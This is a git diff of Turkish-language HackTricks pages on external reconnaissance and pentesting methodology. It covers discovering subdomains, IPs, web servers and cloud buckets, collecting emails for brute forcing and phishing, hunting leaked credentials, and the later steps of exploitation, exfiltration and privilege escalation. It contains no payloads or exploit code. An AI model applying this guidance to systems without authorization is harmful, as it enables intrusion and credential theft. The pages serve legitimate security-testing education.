Eğer bulduğunuz **alt alanlardan IP'si farklı olan** bir tane bulursanız, **temel bir güvenlik taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** ile gerçekleştirmelisiniz. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\
_Bazen alt alanın, müşterinin kontrolünde olmayan bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
Eğer keşfettiğiniz varlıkların IP'lerinden farklı bir **IP ile alt alan bulursanız**, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** ile gerçekleştirmelisiniz. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\
_Bazı durumlarda alt alanın, müşterinin kontrolünde olmayan bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
## IPs
## IP'ler
Başlangıç adımlarında **bazı IP aralıkları, alan adları ve alt alanlar** bulmuş olabilirsiniz.\
Artık bu aralıklardan **tüm IP'leri toplama** ve **alan adları/alt alanlar (DNS sorguları)** için zamanı geldi.
Artık **bu aralıklardan tüm IP'leri toplama** ve **alan adları/alt alanlar (DNS sorguları)** için zamanı geldi.
Aşağıdaki **ücretsiz API'lerden** hizmetler kullanarak, **alan adları ve alt alanlar tarafından kullanılan önceki IP'leri** de bulabilirsiniz. Bu IP'ler hala müşteri tarafından sahiplenilmiş olabilir (ve [**CloudFlare bypass'larını**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza yardımcı olabilir)
Aşağıdaki **ücretsiz API'lerden** hizmetler kullanarak, **alan adları ve alt alanlar tarafından kullanılan önceki IP'leri** de bulabilirsiniz. Bu IP'ler hala müşteri tarafından sahiplenilmiş olabilir (ve [**CloudFlare bypass'larını**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza yardımcı olabilir).
* [**https://securitytrails.com/**](https://securitytrails.com/)
Ayrıca, belirli bir IP adresine işaret eden alan adlarını kontrol etmek için [**hakip2host**](https://github.com/hakluke/hakip2host) aracını kullanabilirsiniz.
### **Looking for vulnerabilities**
### **Güvenlik açıklarını arama**
**CDN'lere ait olmayan tüm IP'leri port taraması yapın** (çünkü burada ilginç bir şey bulma olasılığınız çok düşük). Keşfedilen çalışan hizmetlerde **güvenlik açıkları bulma** şansınız olabilir.
@ -506,10 +506,10 @@ Ayrıca, belirli bir IP adresine işaret eden alan adlarını kontrol etmek içi
Önceki adımlarda muhtemelen keşfedilen **IP'ler ve alan adları üzerinde bazı keşifler** yaptınız, bu nedenle **mümkün olan tüm web sunucularını** zaten bulmuş olabilirsiniz. Ancak, bulmadıysanız, şimdi kapsam içinde **web sunucularını aramak için bazı hızlı ipuçlarını** göreceğiz.
Lütfen, bunun **web uygulamaları keşfine yönelik** olacağını unutmayın, bu nedenle **güvenlik açığı** ve **port taraması** da yapmalısınız (**kapsam tarafından izin veriliyorsa**).
Lütfen, bunun **web uygulamaları keşfine yönelik** olacağını unutmayın, bu nedenle **güvenlik açığı** ve **port taraması** da yapmalısınız (**kapsam tarafından izin verilirse**).
**Web** sunucularına ilişkin **açık portları** keşfetmek için [**masscan** kullanarak hızlı bir yöntem**](../pentesting-network/#http-port-discovery) bulabilirsiniz.\
Web sunucularını aramak için başka bir kullanıcı dostu araç [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx)'dir. Sadece bir alan adı listesi geçiyorsunuz ve port 80 (http) ve 443 (https) ile bağlantı kurmaya çalışıyor. Ayrıca, diğer portları denemesi için belirtebilirsiniz:
**Web** sunucularıyla ilgili **açık portları keşfetmek için hızlı bir yöntem** [**masscan** kullanarak burada bulunabilir](../pentesting-network/#http-port-discovery).\
Web sunucularını aramak için başka bir dostça araç [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx)'dir. Sadece bir alan adı listesi geçiyorsunuz ve 80 (http) ve 443 (https) portlarına bağlanmaya çalışıyor. Ayrıca, diğer portları denemesi için belirtebilirsiniz:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@ -524,9 +524,9 @@ Ayrıca, [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak tüm
## Kamu Bulut Varlıkları
Bir şirkete ait potansiyel bulut varlıklarını bulmak için, o şirketi tanımlayan **anahtar kelimelerle bir listeye başlamalısınız**. Örneğin, bir kripto şirketi için şu kelimeleri kullanabilirsiniz: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Bir şirkete ait potansiyel bulut varlıklarını bulmak için, o şirketi tanımlayan bir **anahtar kelime listesi ile başlamalısınız**. Örneğin, bir kripto şirketi için şu kelimeleri kullanabilirsiniz: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine de ihtiyacınız olacak:
Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine ihtiyacınız olacak:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
@ -534,26 +534,26 @@ Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine
Sonra, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Kaba Kuvvet**](./#second-dns-bruteforce-round) bölümüne bakın).
Elde edilen kelime listeleriyle [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ve** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.**
Elde edilen kelime listeleri ile [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ve** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.**
Bulut Varlıkları ararken, **AWS'deki kovalardan daha fazlasını aramalısınız**.
### **Zafiyet Arama**
**Açık kova veya bulut fonksiyonları** gibi şeyler bulursanız, bunlara **erişmeli** ve size ne sunduklarını görmeli ve bunları kötüye kullanıp kullanamayacağınızı denemelisiniz.
**Açık kova veya bulut işlevleri** gibi şeyler bulursanız, bunlara **erişmeli** ve size ne sunduklarını görmeli ve bunları kötüye kullanıp kullanamayacağınızı denemelisiniz.
## E-postalar
Kapsamdaki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için gereken her şeye** sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
* [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle
* [**theHarvester**](https://github.com/laramies/theHarvester) - API'ler ile
* [**https://hunter.io/**](https://hunter.io/) API'si (ücretsiz sürüm)
* [**https://app.snov.io/**](https://app.snov.io/) API'si (ücretsiz sürüm)
* [**https://minelead.io/**](https://minelead.io/) API'si (ücretsiz sürüm)
### **Zafiyet Arama**
E-postalar, daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (SSH gibi) **kaba kuvvetle** kırmak için faydalı olacaktır. Ayrıca, **phishing** için de gereklidir. Ayrıca, bu API'ler, e-posta sahibinin arkasındaki kişi hakkında daha fazla **bilgi** sağlayacaktır, bu da phishing kampanyası için faydalıdır.
E-postalar, daha sonra **web girişleri ve kimlik doğrulama hizmetleri** (SSH gibi) için **kaba kuvvet** yapmak için faydalı olacaktır. Ayrıca, **phishing** için de gereklidir. Ayrıca, bu API'ler, e-posta arkasındaki kişi hakkında daha fazla **bilgi** sağlayacaktır, bu da phishing kampanyası için faydalıdır.
## Kimlik Bilgisi Sızıntıları
@ -564,18 +564,18 @@ E-postalar, daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (S
### **Zafiyet Arama**
**Geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazanımdır.
**Geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazançtır.
## Gizli Bilgiler Sızıntıları
## Gizli Bilgi Sızıntıları
Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesiyle ilgilidir. Ancak, şirketler, bu veritabanlarında yer almayan **diğer sızıntılardan** da etkilenebilir:
Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesi ile ilgilidir. Ancak, şirketler, bu veritabanlarında olmayan **diğer sızıntılardan** da etkilenebilir:
### Github Sızıntıları
Kimlik bilgileri ve API'ler, **şirketin** veya o github şirketinde çalışan **kullanıcıların** **açık havuzlarında** sızdırılmış olabilir.\
**Leakos** adlı aracı kullanarak bir **kuruluşun** ve onun **geliştiricilerinin** tüm **açık havuzlarını** **indirebilir** ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz.
**Leakos** adlı aracı kullanarak bir **kuruluşun** ve onun **geliştiricilerinin** tüm **açık havuzlarını** **indirmek** ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz.
**Leakos**, bazen **web sayfalarının da gizli bilgiler içerebileceği** için, kendisine **verilen URL'ler** üzerinden **gitleaks** çalıştırmak için de kullanılabilir.
**Leakos**, bazen **web sayfalarının da gizli bilgiler içerebileceği** için, kendisine **sağlanan URL'ler** üzerinden **gitleaks** çalıştırmak için de kullanılabilir.
#### Github Dorks
@ -587,22 +587,22 @@ Ayrıca, saldırdığınız kuruluşta arayabileceğiniz potansiyel **github dor
### Paste Sızıntıları
Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde yayınlayabilir**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak aramak için çok ilginçtir.\
Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde yayınlayabilir**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak bunu aramak çok ilginçtir.\
Birden fazla paste sitesinde aynı anda arama yapmak için [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanabilirsiniz.
### Google Dorks
Eski ama altın değerinde google dorks, **orada olmaması gereken** **ık bilgileri** bulmak için her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) içinde manuel olarak çalıştıramayacağınız birkaç **binlerce** olası sorgu bulunmasıdır. Bu nedenle, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz.
Eski ama altın değerindeki google dorks, **orada olmaması gerekenık bilgileri bulmak için** her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) içinde çalıştıramayacağınız birkaç **binlerce** olası sorgu bulunmasıdır. Bu nedenle, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz.
_Not: Tüm veritabanını düzenli Google tarayıcısını kullanarak çalıştırmayı bekleyen araçlar asla sona ermeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._
_Not: Tüm veritabanını düzenli Google tarayıcısını kullanarak çalıştırmayı bekleyen araçlar asla bitmeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._
### **Zafiyet Arama**
**Geçerli sızdırılmış** kimlik bilgileri veya API jetonları bulursanız, bu çok kolay bir kazanımdır.
**Geçerli sızdırılmış** kimlik bilgileri veya API jetonları bulursanız, bu çok kolay bir kazançtır.
## Kamu Kodu Zafiyetleri
Eğer şirketin **açık kaynak kodu** olduğunu bulduysanız, bunu **analiz edebilir** ve üzerinde **zafiyetler** arayabilirsiniz.
Eğer şirketin **açık kaynak kodu** olduğunu bulursanız, bunu **analiz edebilir** ve üzerinde **zafiyetler** arayabilirsiniz.
**Dile bağlı olarak**, kullanabileceğiniz farklı **araçlar** vardır:
@ -610,7 +610,7 @@ Eğer şirketin **açık kaynak kodu** olduğunu bulduysanız, bunu **analiz ede
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
{% endcontent-ref %}
Ayrıca, **açık havuzları taramanıza** olanak tanıyan ücretsiz hizmetler de vardır, örneğin:
Ayrıca, **açık havuzları taramanıza** olanak tanıyan ücretsiz hizmetler de vardır:
* [**Snyk**](https://app.snyk.io/)
@ -618,23 +618,23 @@ Ayrıca, **açık havuzları taramanıza** olanak tanıyan ücretsiz hizmetler d
**Hata avcıları tarafından bulunan zafiyetlerin** çoğunluğu **web uygulamalarında** yer almaktadır, bu nedenle bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve bu bilgiyi [**burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/).
Ayrıca, **çok hassas zafiyetler** bulmanızı beklememeniz gereken [**Web Otomatik Tarayıcılarıık kaynak araçları**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir atıfta bulunmak istiyorum, çünkü bunlar, **ilk web bilgilerini elde etmek için iş akışlarına** entegre etmek için faydalıdır.
Ayrıca, **çok hassas zafiyetleri bulmanızı beklememelisiniz** ama **ilk web bilgilerini elde etmek için** uygulama akışlarında kullanışlı olan [**Web Otomatik Tarayıcılarık kaynak araçları**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir atıfta bulunmak istiyorum.
## Tekrar
> Tebrikler! Bu noktada **tüm temel numaralandırmayı** gerçekleştirdiniz. Evet, bu temel çünkü daha fazla numaralandırma yapılabilir (daha fazla ipucu göreceğiz).
> Tebrikler! Bu noktada **tüm temel sayım işlemlerini** gerçekleştirdiniz. Evet, bu temel çünkü daha fazla sayım yapılabilir (daha fazla ipucu göreceğiz).
Yani, zaten şunları buldunuz:
1. Kapsamdaki tüm **şirketleri** buldunuz
2. Şirketlere ait tüm **varlıkları** buldunuz (ve kapsamda bazı zafiyet taramaları gerçekleştirdiniz)
2. Şirketlere ait tüm **varlıkları** buldunuz (ve kapsamda ise bazı zafiyet taramaları gerçekleştirdiniz)
3. Şirketlere ait tüm **alan adlarını** buldunuz
4. Alan adlarının tüm **alt alan adlarını** buldunuz (herhangi bir alt alan devralma?)
4. Alan adlarının tüm **alt alan adlarını** buldunuz (herhangi bir alt alan devralma durumu var mı?)
5. Kapsamdaki tüm **IP'leri** (CDN'lerden ve **CDN'lerden olmayan**) buldunuz.
6. Tüm **web sunucularını** buldunuz ve bunların **ekran görüntülerini** aldınız (daha derin bir incelemeyi gerektiren garip bir şey var mı?)
7. Şirkete ait tüm **potansiyel kamu bulut varlıklarını** buldunuz.
8. **E-postalar**, **kimlik bilgisi sızıntıları** ve **gizli sızıntılar** size **çok kolay bir büyük kazanç** sağlayabilir.
9. Bulduğunuz tüm web sitelerini **pentest ettiniz**
9. Bulduğunuz tüm **web sitelerini pentest ettiniz**
## **Tam Recon Otomatik Araçlar**
@ -649,22 +649,22 @@ Belirli bir kapsamda önerilen eylemlerin bir kısmını gerçekleştirecek birk
* [**@Jhaddix**](https://twitter.com/Jhaddix) tarafından sunulan tüm ücretsiz kurslar, örneğin [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hackleme kariyerine** ve hacklenemez olanı hacklemeye ilgi duyuyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hackleme öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hackleme öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hackleme ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,27 +1,27 @@
# Pentesting Methodology
# Pentesting Metodolojisi
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Pentesting Methodology
## Pentesting Metodolojisi
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
@ -33,7 +33,7 @@ Saldırmak istediğiniz makineye **fiziksel erişiminiz** var mı? **Fiziksel sa
### 1 - [Ağ içindeki hostları keşfetmek](pentesting-network/#discovering-hosts)/ [Şirketin Varlıklarını Keşfetmek](external-recon-methodology/)
**Yaptığınız** **testin** **içsel veya dışsal test** olup olmadığına bağlı olarak, **şirket ağı içindeki hostları bulmak** (içsel test) veya **şirketin internetteki varlıklarını bulmak** (dışsal test) ile ilgilenebilirsiniz.
**Yaptığınız** **testin** **içsel veya dışsal test** olup olmadığına bağlı olarak, **şirket ağı içindeki hostları bulmak** (içsel test) veya **şirketin internetteki varlıklarını bulmak** (dışsal test) isteyebilirsiniz.
{% hint style="info" %}
Dışsal bir test yapıyorsanız, şirketin iç ağına erişim sağladıktan sonra bu kılavuzu yeniden başlatmalısınız.
@ -42,34 +42,34 @@ Dışsal bir test yapıyorsanız, şirketin iç ağına erişim sağladıktan so
### **2-** [**Ağ ile Eğlenmek**](pentesting-network/) **(İçsel)**
**Bu bölüm yalnızca içsel bir test yapıyorsanız geçerlidir.**\
Bir hosta saldırmadan önce, belki de **ağdan bazı kimlik bilgilerini çalmayı** veya **verileri koklamayı** tercih edersiniz, böylece ağ içinde **pasif/aktif (MitM)** olarak neler bulabileceğinizi öğrenirsiniz. [**Pentesting Network**](pentesting-network/#sniffing) bölümünü okuyabilirsiniz.
Bir hosta saldırmadan önce, belki de **ağdan bazı kimlik bilgilerini çalmayı** veya **veri dinlemeyi** tercih edersiniz, böylece ağ içinde **pasif/aktif (MitM)** olarak neler bulabileceğinizi öğrenirsiniz. [**Pentesting ı**](pentesting-network/#sniffing) okuyabilirsiniz.
### 3- [Port Tarama - Servis keşfi](pentesting-network/#scanning-hosts)
### 3- [Port Taraması - Servis keşfi](pentesting-network/#scanning-hosts)
**Bir hostta zafiyet ararken** yapılacak ilk şey, hangi **servislerin hangi portlarda çalıştığını** bilmektir. [**Hostların portlarını taramak için temel araçlara**](pentesting-network/#scanning-hosts) bakalım.
### **4-** [**Servis versiyon açıklarını aramak**](search-exploits.md)
### **4-** [Servis versiyon açıklarını aramak](search-exploits.md)
Hangi servislerin çalıştığını ve belki de versiyonlarını öğrendikten sonra, **bilinen zafiyetleri aramalısınız**. Belki şansınız yaver gider ve size bir shell verecek bir exploit bulursunuz...
### **5-** Pentesting Servisleri
Eğer çalışan bir servis için herhangi bir ilginç exploit yoksa, her çalışan serviste **yaygın yanlış yapılandırmaları** aramalısınız.
Eğer çalışan herhangi bir servis için şık bir exploit yoksa, her çalışan serviste **yaygın yanlış yapılandırmaları** aramalısınız.
**Bu kitapta en yaygın servisleri pentest etmek için bir kılavuz bulacaksınız** (ve o kadar yaygın olmayan diğerlerini de). Lütfen, sol dizinde **_**PENTESTING**_ **bölümünü arayın** (servisler varsayılan portlarına göre sıralanmıştır).
**Özellikle** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **bölümüne özel bir vurgu yapmak istiyorum (en kapsamlı olanıdır).**\
Ayrıca, [**yazılımlardaki bilinen zafiyetleri bulma**](search-exploits.md) hakkında küçük bir kılavuz burada bulunmaktadır.
Ayrıca, [**yazılımdaki bilinen zafiyetleri bulma**](search-exploits.md) hakkında küçük bir kılavuz burada bulunabilir.
**Eğer servisinizi dizinde bulamıyorsanız, Google'da** diğer eğitimleri arayın ve **eklememi istiyorsanız bana bildirin.** Eğer Google'da **hiçbir şey bulamazsanız**, kendi **kör pentesting** işleminizi gerçekleştirin, **servise bağlanarak, fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa).
**Eğer servisinizi dizinde bulamıyorsanız, Google'da** diğer eğitimleri arayın ve **eklememi istiyorsanız bana bildirin.** Eğer Google'da **hiçbir şey bulamazsanız**, kendi **kör pentesting'inizi** gerçekleştirin, **servise bağlanarak, fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa).
#### 5.1 Otomatik Araçlar
Ayrıca **otomatik zafiyet değerlendirmeleri** gerçekleştirebilen birkaç araç da vardır. **[**Legion**](https://github.com/carlospolop/legion)**'u denemenizi öneririm, bu benim oluşturduğum ve bu kitapta bulabileceğiniz pentesting servisleri hakkında notlara dayanan bir araçtır.**
Ayrıca **otomatik zafiyet değerlendirmeleri** yapabilen birkaç araç da vardır. **Denemenizi öneririm** [**Legion**](https://github.com/carlospolop/legion)**, bu benim oluşturduğum ve bu kitapta bulabileceğiniz pentesting servisleri hakkında notlara dayanan bir araçtır.**
#### **5.2 Brute-Force ile hizmetleri zorlamak**
Bazı senaryolarda **Brute-Force** bir **servisi** **tehdit etmek** için faydalı olabilir. [**Farklı servislerin brute forcing için bir CheatSheet'ini buradan bulun**](brute-force.md)**.**
Bazı senaryolarda **Brute-Force** bir **servisi** **tehdit etmek** için yararlı olabilir. [**Farklı servislerin brute forcing'ine dair bir CheatSheet burada bulabilirsiniz**](brute-force.md)**.**
### 6- [Phishing](phishing-methodology/)
@ -91,7 +91,7 @@ Shell ile ilgili sorunlar yaşıyorsanız, pentesterlar için en kullanışlı k
### **9 -** [**Veri Sızdırma**](exfiltration.md)
Muhtemelen **kurbandan bazı verileri çıkarmanız** veya hatta **bir şeyler eklemeniz** (örneğin ayrıcalık yükseltme betikleri) gerekecektir. **Burada bu amaçlarla kullanabileceğiniz** [**yaygın araçlar hakkında bir yazı bulabilirsiniz**](exfiltration.md)**.**
Muhtemelen **kurbandan bazı verileri çıkarmanız** veya hatta **bir şeyler eklemeniz** gerekecek (örneğin, ayrıcalık yükseltme betikleri). **Burada bu amaçlarla kullanabileceğiniz** [**yaygın araçlar hakkında bir yazı bulabilirsiniz**](exfiltration.md)**.**
### **10- Ayrıcalık Yükseltme**
@ -99,24 +99,24 @@ Muhtemelen **kurbandan bazı verileri çıkarmanız** veya hatta **bir şeyler e
Eğer kutu içinde **root/Administrator** değilseniz, **ayrıcalıkları yükseltmenin** bir yolunu bulmalısınız.\
Burada **Linux'ta yerel ayrıcalıkları yükseltmek için bir kılavuz** [**bulabilirsiniz**](../linux-hardening/privilege-escalation/) **ve** [**Windows'ta**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Ayrıca **Windows'un nasıl çalıştığına dair** bu sayfaları kontrol etmelisiniz:
Ayrıca **Windows'un nasıl çalıştığına dair bu sayfaları kontrol etmelisiniz**:
* [**Kimlik Doğrulama, Kimlik Bilgileri, Token ayrıcalıkları ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* [**NTLM nasıl çalışır**](../windows-hardening/ntlm/)
* Windows'ta [**kimlik bilgilerini çalmanın**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) yolları
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/) hakkında bazı ipuçları
**Windows ve Linux yerel Ayrıcalık Yükseltme yollarını listelemek için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
**Windows ve Linux yerel Ayrıcalık Yükseltme yollarını listeleyen en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Alan Adı Privesc**
#### **10.2- Alan Privesc**
Burada, [**Active Directory'de ayrıcalıkları listelemek, yükseltmek ve kalıcı hale getirmek için en yaygın eylemleri açıklayan bir metodoloji**](../windows-hardening/active-directory-methodology/) bulabilirsiniz. Bu sadece bir bölümün alt bölümü olsa da, bu süreç **Pentesting/Red Team görevinde son derece hassas** olabilir.
Burada, [**Active Directory'de ayrıcalıkları listelemek, yükseltmek ve kalıcı hale getirmek için en yaygın eylemleri açıklayan bir metodoloji**](../windows-hardening/active-directory-methodology/) bulabilirsiniz. Bu sadece bir bölümün alt bölümü olsa da, bu süreç **Pentesting/Kırmızı Takım görevinde son derece hassas** olabilir.
### 11 - POST
#### **11**.1 - Yağmalama
Host içinde daha fazla **şifre** bulup bulamayacağınızı veya **kullanıcınızın ayrıcalıklarıyla** **diğer makinelere erişiminiz olup olmadığını** kontrol edin.\
Host içinde daha fazla **şifre** bulup bulamayacağınızı veya **kullanıcınızın ayrıcalıklarıyla diğer makinelere erişiminiz olup olmadığını** kontrol edin.\
Burada Windows'ta [**şifreleri dökme**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) için farklı yollar bulabilirsiniz.
#### 11.2 - Kalıcılık
@ -126,21 +126,21 @@ Burada Windows'ta [**şifreleri dökme**](https://github.com/carlospolop/hacktri
TODO: Windows & Linux'ta kalıcılık Postunu tamamla
### 12 - Pivoting
### 12 - Pivotlama
